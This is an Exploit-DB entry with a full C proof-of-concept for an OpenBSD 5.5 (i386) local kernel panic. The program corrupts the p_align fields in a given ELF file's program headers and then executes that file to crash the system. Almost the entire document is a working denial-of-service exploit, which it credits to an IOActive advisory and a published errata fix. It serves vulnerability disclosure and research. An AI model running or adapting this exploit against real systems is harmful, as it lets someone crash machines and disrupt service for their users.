Exploit-DB #35058
Description: OpenBSD 5.5 - Local Kernel Panic (Denial of Service)
Type: dos
Platform: bsd
Date: 2014-10-25
Author: nitr0us

Exploit:
/*
 * tenochtitlan.c
 *
 * OpenBSD <= 5.5 Local Kernel Panic
 * by Alejandro Hernandez (@nitr0usmx)
 *
 * Advisory and technical details:
 * http://www.ioactive.com/pdfs/IOActive_Advisory_OpenBSD_5_5_Local_Kernel_Panic.pdf
 *
 * Fix: http://www.openbsd.org/errata55.html#013_kernexec
 *
 * This PoC works only for i386.
 * 
 * Bug found with Melkor (ELF file format fuzzer)
 * https://github.com/IOActive/Melkor_ELF_Fuzzer
 *
 * Mexico / Oct 2014
 */

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
#include <sys/param.h>
#include <sys/types.h>

#ifndef  __OpenBSD__
	#error "Not an OpenBSD system !!!1111";
#else
#include <sys/exec_elf.h>
#endif

#ifndef __i386__
	#error "Not an i386 system !!!1111";
#endif

// In Aztec mythology, Huitzilopochtli, was a god of war, a sun god, 
// the patron of the city of Tenochtitlan, the Capital of the Aztec Empire.
const char pyramid[] = 
"                  _____\n"
"                 _|[]_|_\n"
"               _/_/=|_\\_\\_\n"
"             _/_ /==| _\\ _\\_\n"
"           _/__ /===|_ _\\ __\\_\n"
"         _/_ _ /====| ___\\  __\\_\n"
"       _/ __ _/=====|_ ___\\ ___ \\_\n"
"     _/ ___ _/======| ____ \\_  __ \\_\n";

struct {
	unsigned int idx;
	Elf32_Word   p_align;
} targets[] = {
	{ 6, 0xb16b00b5 }, // (  *  )(  *  )
	{ 6, 0xdeadface },
	{ 4, 0x00001001 },
	{ 0, 0x00000004 }
};

int main(int argc, char **argv)
{
	Elf32_Ehdr *hdr;
	Elf32_Phdr *pht; // Program Header Table
	struct stat statinfo;
	char *elfptr;
	int fd, r;

	if(argc < 2){
		fprintf(stderr, "Usage: %s <elf_executable>\n", argv[0]);
		exit(-1);
	}

	if((fd = open(argv[1], O_RDWR)) == -1){
		perror("open");
		exit(-1);
	}

	if(fstat(fd, &statinfo) == -1){
		perror("stat");
		close(fd);
		exit(-1);
	}

	if((elfptr = (char *) mmap(NULL, statinfo.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0)) == MAP_FAILED){
		perror("mmap");
		close(fd);
		exit(-1);
	}

	hdr = (Elf32_Ehdr *) (elfptr);
	pht = (Elf32_Phdr *) (elfptr + hdr->e_phoff);

	printf("[*] hdr->e_phoff:\t0x%.4x\n", hdr->e_phoff);
	printf("[*] hdr->e_phnum:\t0x%.4x\n", hdr->e_phnum);

	srand(time(NULL));
	r = rand();

	if(r % 3 == 0){
#ifdef OpenBSD5_5
		pht[targets[0].idx].p_align = targets[0].p_align;
		printf("[*] PHT[%d].p_align = 0x%x\n", targets[0].idx, pht[targets[0].idx].p_align);
#else // OpenBSD 5.2 didn't panic with 0xb16b00b5 in the last LOAD's p_align
		pht[targets[1].idx].p_align = targets[1].p_align;
		printf("[*] PHT[%d].p_align = 0x%x\n", targets[1].idx, pht[targets[1].idx].p_align);
#endif
	} else if(r % 3 == 1){
		pht[targets[2].idx].p_align = targets[2].p_align;
		printf("[*] PHT[%d].p_align = 0x%x\n", targets[2].idx, pht[targets[2].idx].p_align);
	} else {
		int p;

		for(p = 0; p < hdr->e_phnum; p++, pht++)
			if(pht->p_type == PT_LOAD){
				pht->p_align = targets[3].p_align;
				printf("[*] PHT[%d].p_align = 0x%x\n", p, pht->p_align);
			}
	}

	// Synchronize the ELF in memory and the file system
	if(msync(elfptr, 0, MS_ASYNC) == -1){
		perror("msync");
		close(fd);
		exit(-1);
	}

	if(munmap(elfptr, statinfo.st_size) == -1){
		perror("munmap");
		close(fd);
		exit(-1);
	}

	close(fd);

	printf("%s", pyramid);

	sleep(1);
	system(argv[1]);

	// Should never reach this point, however sometimes the OS didn't crash with
	// system() until the 2nd execution. Same behavior with execl and execv too.
	printf("... try to execute %s manually.\n", argv[1]);

	return -1;
}